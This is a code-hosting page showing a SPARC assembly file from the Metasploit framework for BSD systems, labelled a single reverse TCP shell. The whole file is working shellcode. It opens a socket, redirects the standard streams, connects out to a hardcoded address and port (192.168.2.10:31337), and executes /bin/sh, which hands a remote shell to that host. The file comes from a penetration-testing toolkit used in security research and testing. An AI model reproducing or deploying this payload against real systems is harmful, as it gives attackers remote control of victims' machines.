Path: blob/master/external/source/shellcode/bsd/sparc/single_reverse_tcp.s
19513 views
##1#2# Name: single_reverse_tcp3# Platforms: *BSD4# Authors: vlad902 <vlad902 [at] gmail.com>5# Version: $Revision: 1652 $6# License:7#8# This file is part of the Metasploit Exploit Framework9# and is subject to the same licenses and copyrights as10# the rest of this package.11#12# Description:13#14# Single reverse TCP shell.15#16##1718.globl main1920main:21andn %sp, 7, %sp2223xor %o3, %o3, %o224mov 0x01, %o125mov 0x02, %o026mov 0x61, %g127ta 0x082829st %o0, [ %sp - 0x08 ]30mov 3, %o131dup2_loop:32subcc %o1, 1, %o133mov 0x5a, %g134ta 0x083536bnz dup2_loop37ld [ %sp - 0x08 ], %o03839set 0xff027a68, %l040set 0xc0a8020a, %l141std %l0, [ %sp - 0x10 ]42sub %sp, 16, %o143mov 0x10, %o244mov 0x62, %g145ta 0x084647xor %o3, %o3, %o248set 0x2f62696e, %l049set 0x2f736800, %l150sub %sp, 0x10, %o051sub %sp, 0x08, %o152std %l0, [ %sp - 0x10 ]53st %o0, [ %sp - 0x08 ]54st %g0, [ %sp - 0x04 ]55mov 0x3b, %g156ta 0x08575859